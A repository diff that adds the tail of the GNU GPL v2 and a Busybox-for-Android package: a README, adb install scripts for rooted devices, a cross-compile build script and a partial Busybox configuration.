  233 +
  234 +This section is intended to make thoroughly clear what is believed to
  235 +be a consequence of the rest of this License.
  236 +
  237 + 8. If the distribution and/or use of the Program is restricted in
  238 +certain countries either by patents or by copyrighted interfaces, the
  239 +original copyright holder who places the Program under this License
  240 +may add an explicit geographical distribution limitation excluding
  241 +those countries, so that distribution is permitted only in or among
  242 +countries not thus excluded. In such case, this License incorporates
  243 +the limitation as if written in the body of this License.
  244 +
  245 + 9. The Free Software Foundation may publish revised and/or new versions
  246 +of the General Public License from time to time. Such new versions will
  247 +be similar in spirit to the present version, but may differ in detail to
  248 +address new problems or concerns.
  249 +
  250 +Each version is given a distinguishing version number. If the Program
  251 +specifies a version number of this License which applies to it and "any
  252 +later version", you have the option of following the terms and conditions
  253 +either of that version or of any later version published by the Free
  254 +Software Foundation. If the Program does not specify a version number of
  255 +this License, you may choose any version ever published by the Free Software
  256 +Foundation.
  257 +
  258 + 10. If you wish to incorporate parts of the Program into other free
  259 +programs whose distribution conditions are different, write to the author
  260 +to ask for permission. For software which is copyrighted by the Free
  261 +Software Foundation, write to the Free Software Foundation; we sometimes
  262 +make exceptions for this. Our decision will be guided by the two goals
  263 +of preserving the free status of all derivatives of our free software and
  264 +of promoting the sharing and reuse of software generally.
  265 +
  266 + NO WARRANTY
  267 +
  268 + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
  269 +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
  270 +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
  271 +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
  272 +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
  273 +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
  274 +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
  275 +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
  276 +REPAIR OR CORRECTION.
  277 +
  278 + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
  279 +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
  280 +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
  281 +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
  282 +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
  283 +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
  284 +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
  285 +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
  286 +POSSIBILITY OF SUCH DAMAGES.
  287 +
  288 + END OF TERMS AND CONDITIONS
  289 +
  290 + How to Apply These Terms to Your New Programs
  291 +
  292 + If you develop a new program, and you want it to be of the greatest
  293 +possible use to the public, the best way to achieve this is to make it
  294 +free software which everyone can redistribute and change under these terms.
  295 +
  296 + To do so, attach the following notices to the program. It is safest
  297 +to attach them to the start of each source file to most effectively
  298 +convey the exclusion of warranty; and each file should have at least
  299 +the "copyright" line and a pointer to where the full notice is found.
  300 +
  301 + <one line to give the program's name and a brief idea of what it does.>
  302 + Copyright (C) <year> <name of author>
  303 +
  304 + This program is free software; you can redistribute it and/or modify
  305 + it under the terms of the GNU General Public License as published by
  306 + the Free Software Foundation; either version 2 of the License, or
  307 + (at your option) any later version.
  308 +
  309 + This program is distributed in the hope that it will be useful,
  310 + but WITHOUT ANY WARRANTY; without even the implied warranty of
  311 + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  312 + GNU General Public License for more details.
  313 +
  314 + You should have received a copy of the GNU General Public License
  315 + along with this program; if not, write to the Free Software
  316 + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  317 +
  318 +
  319 +Also add information on how to contact you by electronic and paper mail.
  320 +
  321 +If the program is interactive, make it output a short notice like this
  322 +when it starts in an interactive mode:
  323 +
  324 + Gnomovision version 69, Copyright (C) year name of author
  325 + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
  326 + This is free software, and you are welcome to redistribute it
  327 + under certain conditions; type `show c' for details.
  328 +
  329 +The hypothetical commands `show w' and `show c' should show the appropriate
  330 +parts of the General Public License. Of course, the commands you use may
  331 +be called something other than `show w' and `show c'; they could even be
  332 +mouse-clicks or menu items--whatever suits your program.
  333 +
  334 +You should also get your employer (if you work as a programmer) or your
  335 +school, if any, to sign a "copyright disclaimer" for the program, if
  336 +necessary. Here is a sample; alter the names:
  337 +
  338 + Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  339 + `Gnomovision' (which makes passes at compilers) written by James Hacker.
  340 +
  341 + <signature of Ty Coon>, 1 April 1989
  342 + Ty Coon, President of Vice
  343 +
  344 +This General Public License does not permit incorporating your program into
  345 +proprietary programs. If your program is a subroutine library, you may
  346 +consider it more useful to permit linking proprietary applications with the
  347 +library. If this is what you want to do, use the GNU Library General
  348 +Public License instead of this License.
... ...
tools/busybox-android/README.md 0 → 100644
  1 +++ a/tools/busybox-android/README.md
  1 +Busybox for Android the Easy Way (just a quick hack)
  2 +====================================================
  3 +
  4 +This little package is designed to make your life easier if you are using
  5 +the shell under an Android device. It includes a full-fledged Busybox
  6 +environment that should make a fair replacement for the poor toolbox that
  7 +comes with Android by default.
  8 +
  9 +You can install it in two ways: if you are compiling Android yourself, then
  10 +you can add this package to your repository and Busybox will replace the
  11 +default Toolbox whenever possible. If you already have a deployed (and
  12 +rooted!) Android device, you can deploy busybox on it.
  13 +
  14 +Installing in your Android source tree
  15 +--------------------------------------
  16 +Simply add a 'local_manifest.xml' file (or edit the existing one) in the .repo
  17 +directory located at the root of your Android source tree with the following
  18 +lines:
  19 +
  20 + <?xml version="1.0" encoding="UTF-8"?>
  21 + <manifest>
  22 + <remote name="busybox-android"
  23 + fetch="git://github.com/Gnurou/"/>
  24 + <project path="busybox-android"
  25 + name="busybox-android"
  26 + remote="busybox-android"
  27 + revision="master"/>
  28 + </manifest>
  29 +
  30 +Then run "repo sync" and build your images normally.
  31 +
  32 +Installing on an already-deployed Android device
  33 +------------------------------------------------
  34 +Run the 'android-install.sh' script while your device is connected. This will
  35 +remount the system partition read-write, copy busybox, and make the appropriate
  36 +symlinks on your device. You will need adb in your path for this to work.
  37 +
  38 +Misc
  39 +----
  40 +The files busybox-android.patch and busybox-android.config are a patch that
  41 +allows ash history to work on Android and the configuration used to build
  42 +Busybox, respectively. The busybox binary has been built statically against
  43 +glibc - unfortunately, it seems impossible to build it against Android NDK.
  44 +
  45 +Non-executable .sh scripts are not meant to be run directly by the user.
  46 +
  47 +Compiling yourself
  48 +------------------
  49 +It should be pretty easy to recompile the binary yourself by following these
  50 +steps:
  51 +
  52 +1. Get and install the latest GNU/Linux toolchain from [here]
  53 +(http://www.codesourcery.com/sgpp/lite/arm/portal/subscription?@template=lite)
  54 +(unless you already have a working toolchain installed). Make sure the binaries
  55 +directory is in your PATH.
  56 +2. Get and unpack the latest source for Busybox.
  57 +3. Apply `busybox-android.patch` from the git repo to Busybox source if you
  58 +want to be able to use the profile and history under Android.
  59 +4. Copy `busybox-android.config` from the git into Busybox's source root and
  60 +rename it to `.config`. Edit it and make sure `CONFIG_CROSS_COMPILER_PREFIX` is
  61 +correctly set to your compiler's name.
  62 +5. Run `make` and you should obtain the `busybox` binary.
  63 +
  64 +TODO
  65 +----
  66 +Cleanup, proper configuration options and upstream integration, maybe?
  67 +
  68 +Feedback & contact
  69 +------------------
  70 +Alexandre Courbot <acourbot@nvidia.com>
  71 +
... ...
tools/busybox-android/android-install.sh 0 → 100755
  1 +++ a/tools/busybox-android/android-install.sh
  1 +#!/bin/bash
  2 +
  3 +# ryan:
  4 +# I modified the original script as below for use with my rooted Atrix phone.
  5 +# I'm using a retail build that still thinks it's a production device.
  6 +# The best way to state this is that ro.secure=1 in default.prop, but su
  7 +# executes under a shell on the device and yields root permissions
  8 +#
  9 +# Another oddity that I encountered is that mv can fail giving
  10 +# errors citing cross-device linkage:
  11 +# It seems that this error is given because mv tries
  12 +# to move the hard link to the data, but fails because
  13 +# in this case, the src and dest filesystems aren't the same.
  14 +#
  15 +# Symptoms of this state are that the following adb commands fail (not an ordered list, but executing any atomically):
  16 +# adb remount
  17 +# adb ls /data/app/
  18 +# adb root
  19 +# but executing this works fine:
  20 +# adb shell
  21 +# $ su
  22 +# $ ls /data/app/
  23 +#
  24 +# Gnurou:
  25 +# Another issue is that some devices come with most basic commands like mount
  26 +# removed, which requires us to use BB to remount /system read-write. This is
  27 +# why we first upload BB to a temporary, executable location before moving it
  28 +# to /system/bin
  29 +
  30 +LOCAL_DIR=`dirname $0`
  31 +BBNAME=busybox-android
  32 +LOCALBB=${LOCAL_DIR}/${BBNAME}
  33 +SCRIPT='android-remote-install.sh'
  34 +# /data is preferred over /sdcard because it will allow us to execute BB
  35 +TMP='/data/'
  36 +TMPBB=${TMP}busybox
  37 +TGT='/system/xbin/'
  38 +TGTBB=${TGT}busybox
  39 +
  40 +function doMain()
  41 +{
  42 + # try to remount /system r/w
  43 + adb remount
  44 + adb shell mount |grep "\bsystem\b" |grep "\brw\b"
  45 + # this is a remount form that works on "partially rooted devices"
  46 + if [ $? -ne 0 ]; then
  47 + adb push $LOCALBB $TMPBB
  48 + adb shell <<DONE
  49 +su
  50 +mount -oremount,rw /system
  51 +$TMPBB mount -oremount,rw /system
  52 +$TMPBB rm $TMPBB
  53 +exit
  54 +exit
  55 +
  56 +DONE
  57 + fi
  58 +
  59 + # we should be mounted r/w, push BB
  60 + adb push $LOCALBB $TGTBB
  61 + # if push fails, try to upload to /sdcard and copy from there
  62 + if [ $? -ne 0 ]; then
  63 + adb push $LOCALBB $TMPBB
  64 + adb push $LOCALBB /sdcard/
  65 + adb shell <<DONE
  66 +su
  67 +cp /sdcard/$BBNAME $TGTBB
  68 +chmod 755 $TGTBB
  69 +rm /sdcard/$BBNAME
  70 +$TMPBB cp $TMPBB $TGTBB
  71 +$TMPBB rm $TMPBB
  72 +exit
  73 +exit
  74 +
  75 +DONE
  76 + fi
  77 +
  78 + # BB is now installed in /system/xbin/busybox
  79 +
  80 + # now execute a string of commands over one adb connection using a
  81 + # so-called here document
  82 + # redirect chatter to /dev/null -- adb apparently puts stdin and stderr in
  83 + # stdin so to add error checking we'd need to scan all the text
  84 + # move the files over to an adb writable location
  85 + adb push $LOCAL_DIR/$SCRIPT /sdcard/
  86 +
  87 + adb shell <<DONE
  88 +su
  89 +$TGTBB ash /sdcard/$SCRIPT
  90 +rm /sdcard/$SCRIPT
  91 +sync
  92 +exit
  93 +exit
  94 +
  95 +DONE
  96 +
  97 + # needs to be done separately to avoid "device busy" error
  98 + adb shell mount -o remount,ro /system
  99 +}
  100 +
  101 +doMain
  102 +
... ...
tools/busybox-android/android-remote-install.sh 0 → 100644
  1 +++ a/tools/busybox-android/android-remote-install.sh
  1 +# List of programs to leave to toolbox
  2 +TOOLBOX_PROGS=" reboot getprop setprop start stop "
  3 +BB="/system/xbin/busybox"
  4 +for c in `$BB --list`; do
  5 + # There must be a better way to do this
  6 + IN_LIST=0
  7 + for p in $TOOLBOX_PROGS; do
  8 + if [ "$c" == "$p" ]; then
  9 + IN_LIST=1
  10 + fi
  11 + done
  12 + if [ $IN_LIST -eq 0 ]; then
  13 + $BB rm -f /system/bin/$c;
  14 + $BB ln -s $BB /system/bin/$c;
  15 + fi
  16 +done
... ...
tools/busybox-android/build.sh 0 → 100755
  1 +++ a/tools/busybox-android/build.sh
  1 +#!/bin/bash
  2 +
  3 +CROSS_COMPILER_PREFIX="arm-linux-gnueabi-"
  4 +BUSYBOX_URL="https://www.busybox.net/downloads/busybox-1.26.2.tar.bz2"
  5 +BUSYBOX_ARCHIVE="$(echo $BUSYBOX_URL | rev | cut -d'/' -f 1 | rev)"
  6 +BUSYBOX="$(echo $BUSYBOX_ARCHIVE | sed 's/\.tar.*$//g')"
  7 +NCPU=4
  8 +
  9 +function fetch()
  10 +{
  11 + wget $BUSYBOX_URL
  12 + tar -xjvf $BUSYBOX_ARCHIVE
  13 +}
  14 +
  15 +if [[ ! -d $BUSYBOX ]]; then
  16 + fetch
  17 + pushd $BUSYBOX > /dev/null
  18 + patch -p1 < ../busybox-android.patch
  19 + cp ../busybox-android.config .config
  20 + sed "s/CONFIG_CROSS_COMPILER_PREFIX=\".*\"\$/CONFIG_CROSS_COMPILER_PREFIX=\"$CROSS_COMPILER_PREFIX\"/g" -i .config
  21 + yes '' | make oldconfig
  22 + popd > /dev/null
  23 + rm $BUSYBOX_ARCHIVE
  24 +fi
  25 +
  26 +pushd $BUSYBOX > /dev/null
  27 +make -j $((NCPU*2))
  28 +cp busybox ../
  29 +make clean
  30 +popd > /dev/null
... ...
tools/busybox-android/busybox-android.config 0 → 100644
  1 +++ a/tools/busybox-android/busybox-android.config
  1 +#
  2 +# Automatically generated make config: don't edit
  3 +# Busybox version: 1.22.1
  4 +# Thu Feb 27 12:18:39 2014
  5 +#
  6 +CONFIG_HAVE_DOT_CONFIG=y
  7 +
  8 +#
  9 +# Busybox Settings
  10 +#
  11 +
  12 +#
  13 +# General Configuration
  14 +#
  15 +# CONFIG_DESKTOP is not set
  16 +# CONFIG_EXTRA_COMPAT is not set
  17 +CONFIG_INCLUDE_SUSv2=y
  18 +# CONFIG_USE_PORTABLE_CODE is not set
  19 +CONFIG_PLATFORM_LINUX=y
  20 +CONFIG_FEATURE_BUFFERS_USE_MALLOC=y
  21 +# CONFIG_FEATURE_BUFFERS_GO_ON_STACK is not set
  22 +# CONFIG_FEATURE_BUFFERS_GO_IN_BSS is not set
  23 +CONFIG_SHOW_USAGE=y
  24 +CONFIG_FEATURE_VERBOSE_USAGE=y
  25 +CONFIG_FEATURE_COMPRESS_USAGE=y
  26 +CONFIG_FEATURE_INSTALLER=y
  27 +# CONFIG_INSTALL_NO_USR is not set
  28 +# CONFIG_LOCALE_SUPPORT is not set
  29 +CONFIG_UNICODE_SUPPORT=y
  30 +# CONFIG_UNICODE_USING_LOCALE is not set
  31 +# CONFIG_FEATURE_CHECK_UNICODE_IN_ENV is not set
  32 +CONFIG_SUBST_WCHAR=63
  33 +CONFIG_LAST_SUPPORTED_WCHAR=767
  34 +# CONFIG_UNICODE_COMBINING_WCHARS is not set
  35 +# CONFIG_UNICODE_WIDE_WCHARS is not set
  36 +# CONFIG_UNICODE_BIDI_SUPPORT is not set
  37 +# CONFIG_UNICODE_NEUTRAL_TABLE is not set
  38 +# CONFIG_UNICODE_PRESERVE_BROKEN is not set
  39 +CONFIG_LONG_OPTS=y
  40 +CONFIG_FEATURE_DEVPTS=y
  41 +# CONFIG_FEATURE_CLEAN_UP is not set
  42 +CONFIG_FEATURE_UTMP=y
  43 +CONFIG_FEATURE_WTMP=y
  44 +CONFIG_FEATURE_PIDFILE=y
  45 +CONFIG_PID_FILE_PATH="/var/run"
  46 +CONFIG_FEATURE_SUID=y
  47 +CONFIG_FEATURE_SUID_CONFIG=y
  48 +CONFIG_FEATURE_SUID_CONFIG_QUIET=y
  49 +# CONFIG_SELINUX is not set
  50 +# CONFIG_FEATURE_PREFER_APPLETS is not set
  51 +CONFIG_BUSYBOX_EXEC_PATH="/proc/self/exe"
  52 +CONFIG_FEATURE_SYSLOG=y
  53 +CONFIG_FEATURE_HAVE_RPC=y
  54 +
  55 +#
  56 +# Build Options
  57 +#
  58 +CONFIG_STATIC=y
  59 +# CONFIG_PIE is not set
  60 +# CONFIG_NOMMU is not set
  61 +# CONFIG_BUILD_LIBBUSYBOX is not set
  62 +# CONFIG_FEATURE_INDIVIDUAL is not set
  63 +# CONFIG_FEATURE_SHARED_BUSYBOX is not set
  64 +CONFIG_LFS=y
  65 +CONFIG_CROSS_COMPILER_PREFIX="arm-none-linux-gnueabi-"
  66 +CONFIG_SYSROOT=""
  67 +CONFIG_EXTRA_CFLAGS=""
  68 +CONFIG_EXTRA_LDFLAGS=""
  69 +CONFIG_EXTRA_LDLIBS=""
  70 +
  71 +#
  72 +# Debugging Options
  73 +#
  74 +# CONFIG_DEBUG is not set
  75 +# CONFIG_DEBUG_PESSIMIZE is not set
  76 +# CONFIG_WERROR is not set
  77 +CONFIG_NO_DEBUG_LIB=y
  78 +# CONFIG_DMALLOC is not set
  79 +# CONFIG_EFENCE is not set
  80 +
  81 +#
  82 +# Installation Options ("make install" behavior)
  83 +#
  84 +CONFIG_INSTALL_APPLET_SYMLINKS=y
  85 +# CONFIG_INSTALL_APPLET_HARDLINKS is not set
  86 +# CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS is not set
  87 +# CONFIG_INSTALL_APPLET_DONT is not set
  88 +# CONFIG_INSTALL_SH_APPLET_SYMLINK is not set
  89 +# CONFIG_INSTALL_SH_APPLET_HARDLINK is not set
  90 +# CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER is not set
  91 +CONFIG_PREFIX="./_install"
  92 +
  93 +#
  94 +# Busybox Library Tuning
  95 +#
  96 +# CONFIG_FEATURE_SYSTEMD is not set
  97 +# CONFIG_FEATURE_RTMINMAX is not set
  98 +CONFIG_PASSWORD_MINLEN=6
  99 +CONFIG_MD5_SMALL=1
  100 +CONFIG_SHA3_SMALL=1
  101 +CONFIG_FEATURE_FAST_TOP=y
  102 +# CONFIG_FEATURE_ETC_NETWORKS is not set
  103 +CONFIG_FEATURE_USE_TERMIOS=y
  104 +CONFIG_FEATURE_EDITING=y
  105 +CONFIG_FEATURE_EDITING_MAX_LEN=1024
  106 +CONFIG_FEATURE_EDITING_VI=y
  107 +CONFIG_FEATURE_EDITING_HISTORY=255
  108 +CONFIG_FEATURE_EDITING_SAVEHISTORY=y
  109 +# CONFIG_FEATURE_EDITING_SAVE_ON_EXIT is not set
  110 +CONFIG_FEATURE_REVERSE_SEARCH=y
  111 +CONFIG_FEATURE_TAB_COMPLETION=y
  112 +# CONFIG_FEATURE_USERNAME_COMPLETION is not set
  113 +CONFIG_FEATURE_EDITING_FANCY_PROMPT=y
  114 +CONFIG_FEATURE_EDITING_ASK_TERMINAL=y
  115 +CONFIG_FEATURE_NON_POSIX_CP=y
  116 +CONFIG_FEATURE_VERBOSE_CP_MESSAGE=y
  117 +CONFIG_FEATURE_COPYBUF_KB=4
  118 +CONFIG_FEATURE_SKIP_ROOTFS=y
  119 +CONFIG_MONOTONIC_SYSCALL=y
  120 +CONFIG_IOCTL_HEX2STR_ERROR=y
  121 +CONFIG_FEATURE_HWIB=y
  122 +
  123 +#
  124 +# Applets
  125 +#
  126 +
  127 +#
  128 +# Archival Utilities
  129 +#
  130 +CONFIG_FEATURE_SEAMLESS_XZ=y
  131 +CONFIG_FEATURE_SEAMLESS_LZMA=y
  132 +CONFIG_FEATURE_SEAMLESS_BZ2=y
  133 +CONFIG_FEATURE_SEAMLESS_GZ=y
  134 +CONFIG_FEATURE_SEAMLESS_Z=y
  135 +CONFIG_AR=y
  136 +CONFIG_FEATURE_AR_LONG_FILENAMES=y
  137 +CONFIG_FEATURE_AR_CREATE=y
  138 +CONFIG_UNCOMPRESS=y
  139 +CONFIG_GUNZIP=y
  140 +CONFIG_BUNZIP2=y
  141 +CONFIG_UNLZMA=y
  142 +CONFIG_FEATURE_LZMA_FAST=y
  143 +CONFIG_LZMA=y
  144 +CONFIG_UNXZ=y
  145 +CONFIG_XZ=y
  146 +CONFIG_BZIP2=y
  147 +CONFIG_CPIO=y
  148 +CONFIG_FEATURE_CPIO_O=y
  149 +CONFIG_FEATURE_CPIO_P=y
  150 +# CONFIG_DPKG is not set
  151 +# CONFIG_DPKG_DEB is not set
  152 +# CONFIG_FEATURE_DPKG_DEB_EXTRACT_ONLY is not set
  153 +CONFIG_GZIP=y
  154 +CONFIG_FEATURE_GZIP_LONG_OPTIONS=y
  155 +CONFIG_GZIP_FAST=0
  156 +CONFIG_LZOP=y
  157 +# CONFIG_LZOP_COMPR_HIGH is not set
  158 +CONFIG_RPM2CPIO=y
  159 +CONFIG_RPM=y
  160 +CONFIG_TAR=y
  161 +CONFIG_FEATURE_TAR_CREATE=y
  162 +CONFIG_FEATURE_TAR_AUTODETECT=y
  163 +CONFIG_FEATURE_TAR_FROM=y
  164 +CONFIG_FEATURE_TAR_OLDGNU_COMPATIBILITY=y
  165 +CONFIG_FEATURE_TAR_OLDSUN_COMPATIBILITY=y
  166 +CONFIG_FEATURE_TAR_GNU_EXTENSIONS=y
  167 +CONFIG_FEATURE_TAR_LONG_OPTIONS=y
  168 +CONFIG_FEATURE_TAR_TO_COMMAND=y
  169 +CONFIG_FEATURE_TAR_UNAME_GNAME=y
  170 +CONFIG_FEATURE_TAR_NOPRESERVE_TIME=y
  171 +# CONFIG_FEATURE_TAR_SELINUX is not set
  172 +CONFIG_UNZIP=y
  173 +
  174 +#
  175 +# Coreutils
  176 +#
  177 +CONFIG_BASENAME=y
  178 +CONFIG_CAT=y
  179 +CONFIG_DATE=y
  180 +CONFIG_FEATURE_DATE_ISOFMT=y
  181 +# CONFIG_FEATURE_DATE_NANO is not set
  182 +CONFIG_FEATURE_DATE_COMPAT=y
  183 +CONFIG_HOSTID=y
  184 +CONFIG_ID=y
  185 +CONFIG_GROUPS=y
  186 +CONFIG_TEST=y
  187 +CONFIG_FEATURE_TEST_64=y
  188 +CONFIG_TOUCH=y
  189 +CONFIG_FEATURE_TOUCH_NODEREF=y
  190 +CONFIG_FEATURE_TOUCH_SUSV3=y
  191 +CONFIG_TR=y
  192 +CONFIG_FEATURE_TR_CLASSES=y
  193 +CONFIG_FEATURE_TR_EQUIV=y
  194 +CONFIG_BASE64=y
  195 +CONFIG_WHO=y
  196 +CONFIG_USERS=y
  197 +CONFIG_CAL=y
  198 +CONFIG_CATV=y
  199 +CONFIG_CHGRP=y
  200 +CONFIG_CHMOD=y
  201 +CONFIG_CHOWN=y
  202 +CONFIG_FEATURE_CHOWN_LONG_OPTIONS=y
  203 +CONFIG_CHROOT=y
  204 +CONFIG_CKSUM=y
  205 +CONFIG_COMM=y
  206 +CONFIG_CP=y
  207 +CONFIG_FEATURE_CP_LONG_OPTIONS=y
  208 +CONFIG_CUT=y
  209 +CONFIG_DD=y
  210 +CONFIG_FEATURE_DD_SIGNAL_HANDLING=y
  211 +CONFIG_FEATURE_DD_THIRD_STATUS_LINE=y
  212 +CONFIG_FEATURE_DD_IBS_OBS=y
  213 +CONFIG_DF=y
  214 +CONFIG_FEATURE_DF_FANCY=y
  215 +CONFIG_DIRNAME=y
  216 +CONFIG_DOS2UNIX=y
  217 +CONFIG_UNIX2DOS=y
  218 +CONFIG_DU=y
  219 +CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K=y
  220 +CONFIG_ECHO=y
  221 +CONFIG_FEATURE_FANCY_ECHO=y
  222 +CONFIG_ENV=y
  223 +CONFIG_FEATURE_ENV_LONG_OPTIONS=y
  224 +CONFIG_EXPAND=y
  225 +CONFIG_FEATURE_EXPAND_LONG_OPTIONS=y
  226 +CONFIG_EXPR=y
  227 +CONFIG_EXPR_MATH_SUPPORT_64=y
  228 +CONFIG_FALSE=y
  229 +CONFIG_FOLD=y
  230 +CONFIG_FSYNC=y
  231 +CONFIG_HEAD=y
  232 +CONFIG_FEATURE_FANCY_HEAD=y
  233 +CONFIG_INSTALL=y
  234 +CONFIG_FEATURE_INSTALL_LONG_OPTIONS=y
  235 +CONFIG_LN=y
  236 +CONFIG_LOGNAME=y
  237 +CONFIG_LS=y
  238 +CONFIG_FEATURE_LS_FILETYPES=y
  239 +CONFIG_FEATURE_LS_FOLLOWLINKS=y
  240 +CONFIG_FEATURE_LS_RECURSIVE=y
  241 +CONFIG_FEATURE_LS_SORTFILES=y
  242 +CONFIG_FEATURE_LS_TIMESTAMPS=y
  243 +CONFIG_FEATURE_LS_USERNAME=y
  244 +CONFIG_FEATURE_LS_COLOR=y
  245 +CONFIG_FEATURE_LS_COLOR_IS_DEFAULT=y
  246 +CONFIG_MD5SUM=y
  247 +CONFIG_MKDIR=y
  248 +CONFIG_FEATURE_MKDIR_LONG_OPTIONS=y
  249 +CONFIG_MKFIFO=y
  250 +CONFIG_MKNOD=y
  251 +CONFIG_MV=y
  252 +CONFIG_FEATURE_MV_LONG_OPTIONS=y
  253 +CONFIG_NICE=y
  254 +CONFIG_NOHUP=y
  255 +CONFIG_OD=y
  256 +CONFIG_PRINTENV=y
  257 +CONFIG_PRINTF=y
  258 +CONFIG_PWD=y
  259 +CONFIG_READLINK=y
  260 +CONFIG_FEATURE_READLINK_FOLLOW=y
  261 +CONFIG_REALPATH=y
  262 +CONFIG_RM=y
  263 +CONFIG_RMDIR=y
  264 +CONFIG_FEATURE_RMDIR_LONG_OPTIONS=y
  265 +CONFIG_SEQ=y
  266 +CONFIG_SHA1SUM=y
  267 +CONFIG_SHA256SUM=y
  268 +CONFIG_SHA512SUM=y
  269 +CONFIG_SHA3SUM=y
  270 +CONFIG_SLEEP=y
  271 +CONFIG_FEATURE_FANCY_SLEEP=y
  272 +CONFIG_FEATURE_FLOAT_SLEEP=y
  273 +CONFIG_SORT=y
  274 +CONFIG_FEATURE_SORT_BIG=y
  275 +CONFIG_SPLIT=y
  276 +CONFIG_FEATURE_SPLIT_FANCY=y
  277 +CONFIG_STAT=y
  278 +CONFIG_FEATURE_STAT_FORMAT=y
  279 +CONFIG_STTY=y
  280 +CONFIG_SUM=y
  281 +CONFIG_SYNC=y
  282 +CONFIG_TAC=y
  283 +CONFIG_TAIL=y
  284 +CONFIG_FEATURE_FANCY_TAIL=y
  285 +CONFIG_TEE=y
  286 +CONFIG_FEATURE_TEE_USE_BLOCK_IO=y
  287 +CONFIG_TRUE=y
  288 +CONFIG_TTY=y
  289 +CONFIG_UNAME=y
  290 +CONFIG_UNEXPAND=y
  291 +CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS=y
  292 +CONFIG_UNIQ=y
  293 +CONFIG_USLEEP=y
  294 +CONFIG_UUDECODE=y
  295 +CONFIG_UUENCODE=y
  296 +CONFIG_WC=y
  297 +CONFIG_FEATURE_WC_LARGE=y
  298 +CONFIG_WHOAMI=y
  299 +CONFIG_YES=y
  300 +
  301 +#
  302 +# Common options for cp and mv
  303 +#
  304 +CONFIG_FEATURE_PRESERVE_HARDLINKS=y
  305 +
  306 +#
  307 +# Common options for ls, more and telnet
  308 +#
  309 +CONFIG_FEATURE_AUTOWIDTH=y
  310 +
  311 +#
  312 +# Common options for df, du, ls
  313 +#
  314 +CONFIG_FEATURE_HUMAN_READABLE=y
  315 +
  316 +#
  317 +# Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum
  318 +#
  319 +CONFIG_FEATURE_MD5_SHA1_SUM_CHECK=y
  320 +
  321 +#
  322 +# Console Utilities
  323 +#
  324 +CONFIG_CHVT=y
  325 +CONFIG_FGCONSOLE=y
  326 +CONFIG_CLEAR=y
  327 +CONFIG_DEALLOCVT=y
  328 +CONFIG_DUMPKMAP=y
  329 +CONFIG_KBD_MODE=y
  330 +CONFIG_LOADFONT=y
  331 +CONFIG_LOADKMAP=y
  332 +CONFIG_OPENVT=y
  333 +CONFIG_RESET=y
  334 +CONFIG_RESIZE=y
  335 +CONFIG_FEATURE_RESIZE_PRINT=y
  336 +CONFIG_SETCONSOLE=y
  337 +CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS=y
  338 +CONFIG_SETFONT=y
  339 +CONFIG_FEATURE_SETFONT_TEXTUAL_MAP=y
  340 +CONFIG_DEFAULT_SETFONT_DIR=""
  341 +CONFIG_SETKEYCODES=y
  342 +CONFIG_SETLOGCONS=y
  343 +CONFIG_SHOWKEY=y
  344 +
  345 +#
  346 +# Common options for loadfont and setfont
  347 +#
  348 +CONFIG_FEATURE_LOADFONT_PSF2=y
  349 +CONFIG_FEATURE_LOADFONT_RAW=y
  350 +
  351 +#
  352 +# Debian Utilities
  353 +#
  354 +CONFIG_MKTEMP=y
  355 +CONFIG_PIPE_PROGRESS=y
  356 +CONFIG_RUN_PARTS=y
  357 +CONFIG_FEATURE_RUN_PARTS_LONG_OPTIONS=y
  358 +CONFIG_FEATURE_RUN_PARTS_FANCY=y
  359 +CONFIG_START_STOP_DAEMON=y
  360 +CONFIG_FEATURE_START_STOP_DAEMON_FANCY=y
  361 +CONFIG_FEATURE_START_STOP_DAEMON_LONG_OPTIONS=y
  362 +CONFIG_WHICH=y
  363 +
  364 +#
  365 +# Editors
  366 +#
  367 +CONFIG_AWK=y
  368 +CONFIG_FEATURE_AWK_LIBM=y
  369 +CONFIG_FEATURE_AWK_GNU_EXTENSIONS=y
  370 +CONFIG_CMP=y
  371 +CONFIG_DIFF=y
  372 +CONFIG_FEATURE_DIFF_LONG_OPTIONS=y
  373 +CONFIG_FEATURE_DIFF_DIR=y
  374 +CONFIG_ED=y
  375 +CONFIG_PATCH=y
  376 +CONFIG_SED=y
  377 +CONFIG_VI=y
  378 +CONFIG_FEATURE_VI_MAX_LEN=4096
  379 +CONFIG_FEATURE_VI_8BIT=y
  380 +CONFIG_FEATURE_VI_COLON=y
  381 +CONFIG_FEATURE_VI_YANKMARK=y
  382 +CONFIG_FEATURE_VI_SEARCH=y
  383 +CONFIG_FEATURE_VI_REGEX_SEARCH=y
  384 +CONFIG_FEATURE_VI_USE_SIGNALS=y
